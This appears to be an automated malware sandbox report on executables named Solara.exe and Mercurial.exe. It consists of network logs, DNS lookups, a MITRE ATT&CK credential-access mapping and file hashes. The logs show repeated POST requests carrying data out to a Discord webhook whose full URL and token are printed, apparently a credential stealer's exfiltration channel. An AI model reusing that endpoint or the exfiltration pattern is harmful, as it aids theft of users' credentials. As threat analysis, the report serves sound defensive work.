POSThttps://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0TSolara.exeRemote address:162.159.137.232:443RequestPOST /api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0T HTTP/1.1
Content-Type: application/json
Host: discord.com
Content-Length: 315
Expect: 100-continue
ResponseHTTP/1.1 204 No Content
Content-Type: text/html; charset=utf-8
Connection: keep-alive
set-cookie: __dcfduid=6d254d18748911ef86b406dde9b86b04; Expires=Sun, 16-Sep-2029 00:11:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1726531907
x-ratelimit-reset-after: 1
via: 1.1 google
alt-svc: h3=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pA0w2ru8N3icQgt3FHo6yoBHD6f16LixMOEAI6eff93O84nnwi%2BTRKGbJmer0s3KJO5nSL1yXMMY3AdMkzKbkofD2H0BXRKVWzXUUYMWJtuaVSAPEtLRj8QZmuh4"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=6d254d18748911ef86b406dde9b86b04871d86f6b681b9962829c07e07cb445c1c6677f93f04b5e51698a81426e93107; Expires=Sun, 16-Sep-2029 00:11:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=39c00115d48a904ce8137f4e47351bdd7d9708ec-1726531906; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=6t3ihTJ2sbllO_pYMAFIVcvscVFRN8knRCFlD1Tt.Wk-1726531906274-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8c44e17b6bfa3691-LHR
-
Remote address:8.8.8.8:53Request1.112.95.208.in-addr.arpaIN PTRResponse1.112.95.208.in-addr.arpaIN PTRip-apicom
-
Remote address:8.8.8.8:53Requestcdn.discordapp.comIN AResponsecdn.discordapp.comIN A162.159.135.233cdn.discordapp.comIN A162.159.130.233cdn.discordapp.comIN A162.159.133.233cdn.discordapp.comIN A162.159.129.233cdn.discordapp.comIN A162.159.134.233
-
Remote address:8.8.8.8:53Requestcdn.discordapp.comIN UnknownResponsecdn.discordapp.comIN Unknownh3h2���颟�颟�颟�颟��
-
Remote address:8.8.8.8:53Request233.135.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request34.209.17.2.in-addr.arpaIN PTRResponse34.209.17.2.in-addr.arpaIN PTRa2-17-209-34deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.128.233discord.comIN A162.159.136.232discord.comIN A162.159.138.232discord.comIN A162.159.137.232discord.comIN A162.159.135.232
-
Remote address:8.8.8.8:53Requestdiscord.comIN UnknownResponsediscord.comIN Unknownh3h2���颟�袟�袟�袟��
-
Remote address:8.8.8.8:53Request233.128.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request25.142.123.92.in-addr.arpaIN PTRResponse25.142.123.92.in-addr.arpaIN PTRa92-123-142-25deploystaticakamaitechnologiescom
-
POSThttps://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0TSolara.exeRemote address:162.159.137.232:443RequestPOST /api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0T HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: discord.com
Content-Length: 196
Expect: 100-continue
ResponseHTTP/1.1 204 No Content
Content-Type: text/html; charset=utf-8
Connection: keep-alive
set-cookie: __dcfduid=a9220c5c748911ef9f4e4a7e6b0bab68; Expires=Sun, 16-Sep-2029 00:13:26 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1726532008
x-ratelimit-reset-after: 1
via: 1.1 google
alt-svc: h3=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N9I8mpJ6F%2Fnyas6iQNSXG8D1kWuaAeV%2FzHETpoWYeYI3ysDrYcPEdbWb42LaOBM8yoh4wKvRfh%2BzvonU9ITaViet0tDngwWTFj0y83298WdpE2MVQbDI3uLkvN49"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=a9220c5c748911ef9f4e4a7e6b0bab6891ee596b50ee062b093cd909d4a094fb38d863123ca72846c0864f4a5f5cc21b; Expires=Sun, 16-Sep-2029 00:13:26 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=715f5b97ad9bbc4e36d4f5cbf34c8cc66f559efe-1726532006; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=uCfh7QN1oxlgE6WBz3Hif_NphtN3Ov1LNVtrs_nz0r8-1726532006914-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8c44e3f18eae6101-LHR
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.136.232discord.comIN A162.159.138.232discord.comIN A162.159.128.233discord.comIN A162.159.135.232discord.comIN A162.159.137.232
-
Remote address:8.8.8.8:53Requestdiscord.comIN UnknownResponsediscord.comIN Unknownh3h2���颟�袟�袟�袟��
-
Remote address:8.8.8.8:53Request232.136.159.162.in-addr.arpaIN PTRResponse
-
8.3kB 136.0kB 82 134
-
2.2kB 4.1kB 9 10
-
3.9kB 10.1kB 19 22
-
3.3kB 6.2kB 22 22
-
4.0kB 10.0kB 32 36
-
41.6kB 1.0MB 607 884
-
2.3kB 4.7kB 10 11
-
2.3kB 4.7kB 10 11
-
2.3kB 4.7kB 10 10
-
2.3kB 4.7kB 10 10
-
2.2kB 4.7kB 10 11
-
128.5kB 4.9MB 2341 3538
-
19.0kB 19.6kB 51 51
-
8.2kB 7.5kB 27 26
-
4.4kB 23.7kB 41 43
-
12.5kB 8.1kB 28 31
-
117.1kB 4.8MB 2181 3470
-
11.2kB 13.2kB 31 31
-
7.8kB 11.3kB 30 30
-
5.5kB 8.1kB 21 21
-
4.4kB 9.7kB 20 23
-
59.2kB 1.9MB 966 1408
-
7.9kB 18.6kB 38 42
-
2.3kB 5.3kB 11 14
-
4.3kB 7.5kB 13 14
-
4.0kB 9.8kB 18 25
-
5.5kB 10.3kB 19 23
-
5.4kB 9.8kB 19 22
-
3.1kB 5.6kB 14 15
-
4.2kB 39.6kB 40 45
-
3.4kB 5.5kB 22 23
-
4.0kB 6.7kB 17 20
-
20.2kB 209.6kB 344 449
-
2.2kB 4.1kB 9 8
-
2.2kB 4.0kB 9 8
-
8.5kB 6.4kB 44 46
-
162.159.137.232:443https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0Ttls, httpMercurial.exe1.0kB 4.9kB 10 11
HTTP Request
POST https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0THTTP Response
204 -
260 B 5
-
296 B 620 B 5 3
HTTP Request
GET http://ip-api.com//json/HTTP Response
200 -
162.159.137.232:443https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0Ttls, httpSolara.exe1.4kB 4.9kB 10 10
HTTP Request
POST https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0THTTP Response
204 -
162.159.137.232:443https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0Ttls, httpSolara.exe1.4kB 2.1kB 8 8
HTTP Request
POST https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0THTTP Response
204 -
162.159.137.232:443https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0Ttls, httpSolara.exe1.3kB 2.2kB 8 9
HTTP Request
POST https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0THTTP Response
204
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
56 B 121 B 1 1
DNS Request
github.com
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
63 B 144 B 1 1
DNS Request
business.bing.com
DNS Response
13.107.6.158
-
63 B 171 B 1 1
DNS Request
business.bing.com
-
65 B 172 B 1 1
DNS Request
bzib.nelreports.net
DNS Response
88.221.134.1788.221.135.81
-
65 B 204 B 1 1
DNS Request
bzib.nelreports.net
-
66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
215.156.26.20.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
17.160.190.20.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
241.150.49.20.in-addr.arpa
-
69 B 133 B 1 1
DNS Request
github.githubassets.com
DNS Response
185.199.109.154185.199.108.154185.199.111.154185.199.110.154
-
69 B 151 B 1 1
DNS Request
github.githubassets.com
-
75 B 139 B 1 1
DNS Request
avatars.githubusercontent.com
DNS Response
185.199.111.133185.199.109.133185.199.110.133185.199.108.133
-
75 B 140 B 1 1
DNS Request
avatars.githubusercontent.com
-
79 B 143 B 1 1
DNS Request
user-images.githubusercontent.com
DNS Response
185.199.111.133185.199.110.133185.199.108.133185.199.109.133
-
79 B 144 B 1 1
DNS Request
user-images.githubusercontent.com
-
75 B 253 B 1 1
DNS Request
github-cloud.s3.amazonaws.com
DNS Response
16.182.70.23352.216.42.1293.5.9.1543.5.20.10216.182.41.493.5.25.21352.217.130.2516.182.108.209
-
75 B 203 B 1 1
DNS Request
github-cloud.s3.amazonaws.com
-
80 B 198 B 1 1
DNS Request
nav-edge.smartscreen.microsoft.com
DNS Response
172.165.61.93
-
80 B 242 B 1 1
DNS Request
nav-edge.smartscreen.microsoft.com
-
98.6kB 1.8MB 480 2008
-
72 B 137 B 1 1
DNS Request
17.134.221.88.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
74 B 118 B 1 1
DNS Request
133.111.199.185.in-addr.arpa
-
74 B 118 B 1 1
DNS Request
154.109.199.185.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
93.61.165.172.in-addr.arpa
-
72 B 137 B 1 1
DNS Request
27.135.221.88.in-addr.arpa
-
66 B 115 B 1 1
DNS Request
collector.github.com
DNS Response
140.82.112.22
-
66 B 164 B 1 1
DNS Request
collector.github.com
-
72 B 117 B 1 1
DNS Request
22.112.82.140.in-addr.arpa
-
60 B 76 B 1 1
DNS Request
api.github.com
DNS Response
20.26.156.210
-
60 B 125 B 1 1
DNS Request
api.github.com
-
72 B 158 B 1 1
DNS Request
210.156.26.20.in-addr.arpa
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
75 B 139 B 1 1
DNS Request
objects.githubusercontent.com
DNS Response
185.199.109.133185.199.110.133185.199.111.133185.199.108.133
-
75 B 139 B 1 1
DNS Request
objects.githubusercontent.com
DNS Response
185.199.109.133185.199.110.133185.199.111.133185.199.108.133
-
75 B 157 B 1 1
DNS Request
objects.githubusercontent.com
-
79 B 197 B 1 1
DNS Request
dl-edge.smartscreen.microsoft.com
DNS Response
172.165.69.228
-
79 B 241 B 1 1
DNS Request
dl-edge.smartscreen.microsoft.com
-
1.4kB 10
-
74 B 118 B 1 1
DNS Request
133.109.199.185.in-addr.arpa
-
80 B 200 B 1 1
DNS Request
app-edge.smartscreen.microsoft.com
DNS Response
13.87.96.169
-
80 B 244 B 1 1
DNS Request
app-edge.smartscreen.microsoft.com
-
71 B 145 B 1 1
DNS Request
169.96.87.13.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
28.118.140.52.in-addr.arpa
-
82 B 199 B 1 1
DNS Request
telem-edge.smartscreen.microsoft.com
DNS Response
51.140.244.186
-
82 B 244 B 1 1
DNS Request
telem-edge.smartscreen.microsoft.com
-
56 B 268 B 1 1
DNS Request
r.bing.com
DNS Response
88.221.135.4288.221.135.1188.221.135.3388.221.135.2588.221.135.2795.101.143.202
-
56 B 233 B 1 1
DNS Request
r.bing.com
-
57 B 286 B 1 1
DNS Request
th.bing.com
DNS Response
88.221.135.2788.221.135.2595.101.143.20188.221.135.4288.221.135.3488.221.135.3395.101.143.219
-
57 B 235 B 1 1
DNS Request
th.bing.com
-
73 B 147 B 1 1
DNS Request
186.244.140.51.in-addr.arpa
-
16.2kB 195.5kB 81 202
-
71 B 314 B 1 1
DNS Request
login.microsoftonline.com
DNS Response
20.190.159.6420.190.159.040.126.31.7320.190.159.240.126.31.7120.190.159.420.190.159.7520.190.159.68
-
71 B 244 B 1 1
DNS Request
login.microsoftonline.com
-
71 B 306 B 1 1
DNS Request
login.microsoftonline.com
DNS Response
40.126.32.14040.126.32.7240.126.32.7420.190.160.2020.190.160.1420.190.160.1720.190.160.2240.126.32.138
-
72 B 137 B 1 1
DNS Request
42.135.221.88.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
64.159.190.20.in-addr.arpa
-
71 B 314 B 1 1
DNS Request
login.microsoftonline.com
DNS Response
20.190.159.240.126.31.6720.190.159.420.190.159.7320.190.159.7520.190.159.020.190.159.6420.190.159.68
-
67 B 152 B 1 1
DNS Request
services.bingapis.com
DNS Response
13.107.5.80
-
67 B 193 B 1 1
DNS Request
services.bingapis.com
-
70 B 156 B 1 1
DNS Request
80.5.107.13.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
72.32.126.40.in-addr.arpa
-
59 B 75 B 1 1
DNS Request
www.7-zip.org
DNS Response
49.12.202.237
-
59 B 119 B 1 1
DNS Request
www.7-zip.org
-
59 B 75 B 1 1
DNS Request
www.7-zip.org
DNS Response
49.12.202.237
-
73 B 106 B 1 1
DNS Request
200.197.79.204.in-addr.arpa
-
72 B 129 B 1 1
DNS Request
237.202.12.49.in-addr.arpa
-
59 B 75 B 1 1
DNS Request
www.7-zip.org
DNS Response
49.12.202.237
-
59 B 75 B 1 1
DNS Request
www.7-zip.org
DNS Response
49.12.202.237
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
75 B 139 B 1 1
DNS Request
objects.githubusercontent.com
DNS Response
185.199.110.133185.199.109.133185.199.111.133185.199.108.133
-
72 B 146 B 1 1
DNS Request
26.165.165.52.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
198.187.3.20.in-addr.arpa
-
73 B 139 B 1 1
DNS Request
217.135.221.88.in-addr.arpa
-
7.1kB 7.1kB 34 32
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.135.232162.159.138.232162.159.128.233162.159.137.232162.159.136.232
-
57 B 106 B 1 1
DNS Request
discord.com
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.137.232162.159.138.232162.159.128.233162.159.135.232162.159.136.232
-
515.2kB 10.8MB 1554 9472
-
72 B 104 B 1 1
DNS Request
cdn.prod.website-files.com
DNS Response
104.18.160.117104.18.161.117
-
72 B 145 B 1 1
DNS Request
cdn.prod.website-files.com
-
65 B 81 B 1 1
DNS Request
ajax.googleapis.com
DNS Response
142.250.180.10
-
65 B 122 B 1 1
DNS Request
ajax.googleapis.com
-
65 B 113 B 1 1
DNS Request
cdn.localizeapi.com
DNS Response
104.22.20.64172.67.41.53104.22.21.64
-
65 B 158 B 1 1
DNS Request
cdn.localizeapi.com
-
71.5kB 5.0MB 613 4278
-
5.6kB 33.2kB 21 33
-
74 B 136 B 1 1
DNS Request
232.135.159.162.in-addr.arpa
-
73 B 135 B 1 1
DNS Request
117.160.18.104.in-addr.arpa
-
71 B 133 B 1 1
DNS Request
64.20.22.104.in-addr.arpa
-
72 B 110 B 1 1
DNS Request
3.200.250.142.in-addr.arpa
-
73 B 112 B 1 1
DNS Request
10.180.250.142.in-addr.arpa
-
75 B 139 B 1 1
DNS Request
d3e54v103j8qbb.cloudfront.net
DNS Response
18.245.246.15818.245.246.11418.245.246.16718.245.246.151
-
75 B 162 B 1 1
DNS Request
d3e54v103j8qbb.cloudfront.net
-
11.6kB 195.0kB 69 173
-
64 B 144 B 1 1
DNS Request
cdn.discordapp.com
DNS Response
162.159.133.233162.159.130.233162.159.135.233162.159.134.233162.159.129.233
-
64 B 113 B 1 1
DNS Request
cdn.discordapp.com
-
30.6kB 563.3kB 141 502
-
73 B 130 B 1 1
DNS Request
158.246.245.18.in-addr.arpa
-
74 B 136 B 1 1
DNS Request
233.133.159.162.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
240.221.184.93.in-addr.arpa
-
70 B 102 B 1 1
DNS Request
geolocation.onetrust.com
DNS Response
172.64.155.119104.18.32.137
-
70 B 140 B 1 1
DNS Request
geolocation.onetrust.com
-
74 B 112 B 1 1
DNS Request
232.187.250.142.in-addr.arpa
-
73 B 135 B 1 1
DNS Request
119.155.64.172.in-addr.arpa
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.137.232162.159.135.232162.159.136.232162.159.138.232162.159.128.233
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.135.232162.159.136.232162.159.128.233162.159.137.232162.159.138.232
-
76 B 156 B 1 1
DNS Request
remote-auth-gateway.discord.gg
DNS Response
162.159.135.234162.159.134.234162.159.133.234162.159.136.234162.159.130.234
-
76 B 122 B 1 1
DNS Request
remote-auth-gateway.discord.gg
-
74 B 136 B 1 1
DNS Request
234.135.159.162.in-addr.arpa
-
61 B 93 B 1 1
DNS Request
js.hcaptcha.com
DNS Response
104.19.230.21104.19.229.21
-
61 B 98 B 1 1
DNS Request
js.hcaptcha.com
-
6.4kB 58.9kB 33 58
-
72 B 134 B 1 1
DNS Request
21.230.19.104.in-addr.arpa
-
68 B 100 B 1 1
DNS Request
newassets.hcaptcha.com
DNS Response
104.19.230.21104.19.229.21
-
68 B 105 B 1 1
DNS Request
newassets.hcaptcha.com
-
68 B 100 B 1 1
DNS Request
newassets.hcaptcha.com
DNS Response
104.19.230.21104.19.229.21
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.136.232162.159.128.233162.159.137.232162.159.138.232162.159.135.232
-
68 B 100 B 1 1
DNS Request
newassets.hcaptcha.com
DNS Response
104.19.229.21104.19.230.21
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.136.232162.159.137.232162.159.138.232162.159.128.233162.159.135.232
-
56.7kB 581.8kB 139 513
-
62 B 94 B 1 1
DNS Request
api.hcaptcha.com
DNS Response
104.19.229.21104.19.230.21
-
62 B 99 B 1 1
DNS Request
api.hcaptcha.com
-
63 B 79 B 1 1
DNS Request
stun.l.google.com
DNS Response
74.125.250.129
-
63 B 91 B 1 1
DNS Request
stun.l.google.com
DNS Response
2001:4860:4864:5:8000::1
-
63 B 91 B 1 1
DNS Request
stun.l.google.com
DNS Response
2001:4860:4864:5:8000::1
-
48 B 60 B 1 1
-
73 B 133 B 1 1
DNS Request
129.250.125.74.in-addr.arpa
-
4.8kB 8.4kB 11 13
-
72 B 134 B 1 1
DNS Request
21.229.19.104.in-addr.arpa
-
64 B 144 B 1 1
DNS Request
gateway.discord.gg
DNS Response
162.159.136.234162.159.133.234162.159.134.234162.159.135.234162.159.130.234
-
64 B 110 B 1 1
DNS Request
gateway.discord.gg
-
74 B 136 B 1 1
DNS Request
234.136.159.162.in-addr.arpa
-
64 B 144 B 1 1
DNS Request
status.discord.com
DNS Response
162.159.135.232162.159.137.232162.159.128.233162.159.138.232162.159.136.232
-
64 B 113 B 1 1
DNS Request
status.discord.com
-
6.0kB 10.3kB 15 18
-
19.7kB 1.4MB 187 1142
-
66 B 146 B 1 1
DNS Request
media.discordapp.net
DNS Response
162.159.128.232162.159.129.232162.159.133.232162.159.134.232162.159.130.232
-
66 B 115 B 1 1
DNS Request
media.discordapp.net
-
5.0kB 7.6kB 10 12
-
74 B 136 B 1 1
DNS Request
232.128.159.162.in-addr.arpa
-
70 B 156 B 1 1
DNS Request
90.65.42.20.in-addr.arpa
-
66 B 82 B 1 1
DNS Request
a.nel.cloudflare.com
DNS Response
35.190.80.1
-
66 B 117 B 1 1
DNS Request
a.nel.cloudflare.com
-
2.9kB 5.1kB 5 7
-
70 B 120 B 1 1
DNS Request
1.80.190.35.in-addr.arpa
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.137.232162.159.128.233162.159.138.232162.159.136.232162.159.135.232
-
12.2kB 25.9kB 25 32
-
74 B 136 B 1 1
DNS Request
232.137.159.162.in-addr.arpa
-
3.0kB 3.5kB 7 10
-
72 B 137 B 1 1
DNS Request
33.135.221.88.in-addr.arpa
-
59 B 75 B 1 1
DNS Request
ip4.seeip.org
DNS Response
23.128.64.141
-
56 B 72 B 1 1
DNS Request
ip-api.com
DNS Response
208.95.112.1
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.137.232162.159.136.232162.159.135.232162.159.128.233162.159.138.232
-
71 B 95 B 1 1
DNS Request
1.112.95.208.in-addr.arpa
-
64 B 144 B 1 1
DNS Request
cdn.discordapp.com
DNS Response
162.159.135.233162.159.130.233162.159.133.233162.159.129.233162.159.134.233
-
64 B 113 B 1 1
DNS Request
cdn.discordapp.com
-
5.1kB 5.3kB 10 10
-
74 B 136 B 1 1
DNS Request
233.135.159.162.in-addr.arpa
-
11.6kB 29.6kB 68 86
-
70 B 133 B 1 1
DNS Request
34.209.17.2.in-addr.arpa
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.128.233162.159.136.232162.159.138.232162.159.137.232162.159.135.232
-
57 B 106 B 1 1
DNS Request
discord.com
-
6.6kB 4.9kB 11 11
-
74 B 136 B 1 1
DNS Request
233.128.159.162.in-addr.arpa
-
7.0kB 4.7kB 12 11
-
3.0kB 3.6kB 7 11
-
72 B 137 B 1 1
DNS Request
25.142.123.92.in-addr.arpa
-
4.0kB 4.1kB 7 11
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.136.232162.159.138.232162.159.128.233162.159.135.232162.159.137.232
-
57 B 106 B 1 1
DNS Request
discord.com
-
7.0kB 4.7kB 12 11
-
74 B 136 B 1 1
DNS Request
232.136.159.162.in-addr.arpa
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
99KB
MD5d346530e648e15887ae88ea34c82efc9
SHA15644d95910852e50a4b42375bddfef05f6b3490f
SHA256f972b164d9a90821be0ea2f46da84dd65f85cd0f29cd1abba0c8e9a7d0140902
SHA51262db21717f79702cbdd805109f30f51a7f7ff5f751dc115f4c95d052c5405eb34d5e8c5a83f426d73875591b7d463f00f686c182ef3850db2e25989ae2d83673
-
Filesize
1.8MB
MD51143c4905bba16d8cc02c6ba8f37f365
SHA1db38ac221275acd087cf87ebad393ef7f6e04656
SHA256e79ddfb6319dbf9bac6382035d23597dad979db5e71a605d81a61ee817c1e812
SHA512b918ae107c179d0b96c8fb14c2d5f019cad381ba4dcdc760c918dfcd5429d1c9fb6ce23f4648823a0449cb8a842af47f25ede425a4e37a7b67eb291ce8cce894
-
Filesize
963KB
MD5004d7851f74f86704152ecaaa147f0ce
SHA145a9765c26eb0b1372cb711120d90b5f111123b3
SHA256028cf2158df45889e9a565c9ce3c6648fb05c286b97f39c33317163e35d6f6be
SHA51216ebda34803977a324f5592f947b32f5bb2362dd520dc2e97088d12729024498ddfa6800694d37f2e6e5c6fc8d4c6f603414f0c033df9288efc66a2c39b5ec29
-
Filesize
1KB
MD56ae668eeb5d0d32e8c727569b9615a2c
SHA1e4f258ceb489654c8c1cb3b701dcefe87832782a
SHA256741937d93ab79dd393e7c61c50b9f93e001f9a134ca76eea7e3b72540d8a73c6
SHA512cbf1744eea803501e9246377cedde06885fd6e4d6d20b5cb8ce3539c611f6c2a373e34da1de30e06363bf4b9010806c34018bce96a026f80e26b92b6c257febc
-
Filesize
3.2MB
MD5a9477b3e21018b96fc5d2264d4016e65
SHA1493fa8da8bf89ea773aeb282215f78219a5401b7
SHA256890fd59af3370e2ce12e0d11916d1ad4ee9b9c267c434347dbed11e9572e8645
SHA51266529a656865400fe37d40ae125a1d057f8be5aa17da80d367ebbe1a9dcea38f5174870d0dc5b56771f6ca5a13e2fad22d803f5357f3ef59a46e3bdf0cc5ee9c
-
Filesize
42KB
MD59fc3f07332865db2e7e732c5250176df
SHA169450d9b58bfce005886062f93e29e06ae5d5c14
SHA256f243217c62cbf6e5f46f81e7ac48d3267194fb3d29866af33ab2b4ff48c01ffc
SHA5129aaa0a0a3b9192f72731f3ca4239d2c87f777b00978a13d1157e98754f242b95f4e71567fdb3a9ffc6cfe746c3bf368d95151117b1fd3b3be46593ab2981423d
-
Filesize
11KB
MD5960927e4c2edd0faf8c00abc3087484c
SHA133dbcf9c8ee0cfcf0ac0fbe325e333c1ef467383
SHA256a5cc0928df4a8f4679add2dd94e897bda8dc3bc527b13572569f501bd4d200ca
SHA512730fd58911abdd5f74355507fd9c4f58286c667318dfad7397a09005f1595d122c332825e88ee37e5cfd00de7c7a5ed5e7ccf100b3401785efa1924b69603758
-
Filesize
5KB
MD58aab1997664a604aca551b20202bfd14
SHA1279cf8f218069cbf4351518ad6df9a783ca34bc5
SHA256029f57fa483bbcee0dd5464e0d4d89bd03032161424d0ffd1da2b3d5db15977f
SHA512cf0efea853d7e1997dcfcc9a73668ed9a5ac01cf22cbb7082a05abc141fccc7c92a936b245666071df75389cd7ebe60dc99b3c21279173fe12888a99034a5eda
-
Filesize
7KB
MD56fdae9afc1f8e77e882f1ba6b5859a4e
SHA133eb96f75ffe9a1c4f94388e7465b997320265a5
SHA256a365264dd2d3388acc38b2f5c8f3c267bbf83ca463f70fbf6c8459123a7cc33d
SHA51297bb77e8c9c7a1a46fa416a917787ddced3439f72ea35558f22fa2450fbbd11928f3442baec0b33b14576683baa6c1c6b3e1376bd7742da358c808bf07db28e9
-
Filesize
8KB
MD56ba707982ee7e5f0ae55ce3fa5ccad17
SHA1d094c98491058ed49861ce82701abe1f38385f18
SHA25619af9bea270f830354af8250cd82db32fdcab6327d139e2720713fb7d43a5797
SHA512d9cf480c32bfb806c72a2dc6fe211c4806388ccf548d55b059e633e8f814d46c80ef73eacfb02398fd3b1e75b7c44b8a1ba0b29476edbf9fe1b29322798d3cfa
-
Filesize
2KB
MD5fae5458a5b3cee952e25d44d6eb9db85
SHA1060d40137e9cce9f40adbb3b3763d1f020601e42
SHA256240478bb9c522341906a0ef376e0188ce6106856a26a3ae0f7b58af07a377a06
SHA51225f406f747518aef3a1c5c3d66e8bd474429b05ef994303c5f7bc5d3669d691d9dc21ea8f8a35e20b84f8c406bf89835f2f5007a8f743df755e67b4c380fa236
-
Filesize
4KB
MD542f157ad8e79e06a142791d6e98e0365
SHA1a05e8946e04907af3f631a7de1537d7c1bb34443
SHA256e30402cd45589982489719678adf59b016674faa6f7a9af074601e978cc9a0ed
SHA512e214e1cd49e677e1ed632e86e4d1680b0d04a7a0086a273422c14c28485dc549cc5b4bde13e45336f0c4b842751dfd6ef702df3524bc6570c477a4f713db09dc
-
Filesize
6KB
MD58ec0f0e49ffe092345673ab4d9f45641
SHA1401bd9e2894e9098504f7cc8f8d52f86c3ebe495
SHA25693b9f783b5faed3ecfafbe20dfcf1bee3ce33f66909879cd39ae88c36acbdfac
SHA51260363b36587a3ace9ae1dbc21ffd39f903e5f51945eebdcf0316904eee316c9d711d7a014b28977d54eef25dec13f659aab06325f761d9f3ce9baca3cb12f248
-
Filesize
16KB
MD505206d577ce19c1ef8d9341b93cd5520
SHA11ee5c862592045912eb45f9d94376f47b5410d3d
SHA256e2bbdc7ba4236f9c4cb829d63137fdac3a308fd5da96acea35212beafe01b877
SHA5124648fa7ea0a35a148e9dac1f659601ebf48910ca699ed9ef8d46614c7cbe14fcf47fa30dc87af53b987934a2a56cd71fd0e58182ef36a97ed47bd84637b54855
-
Filesize
561B
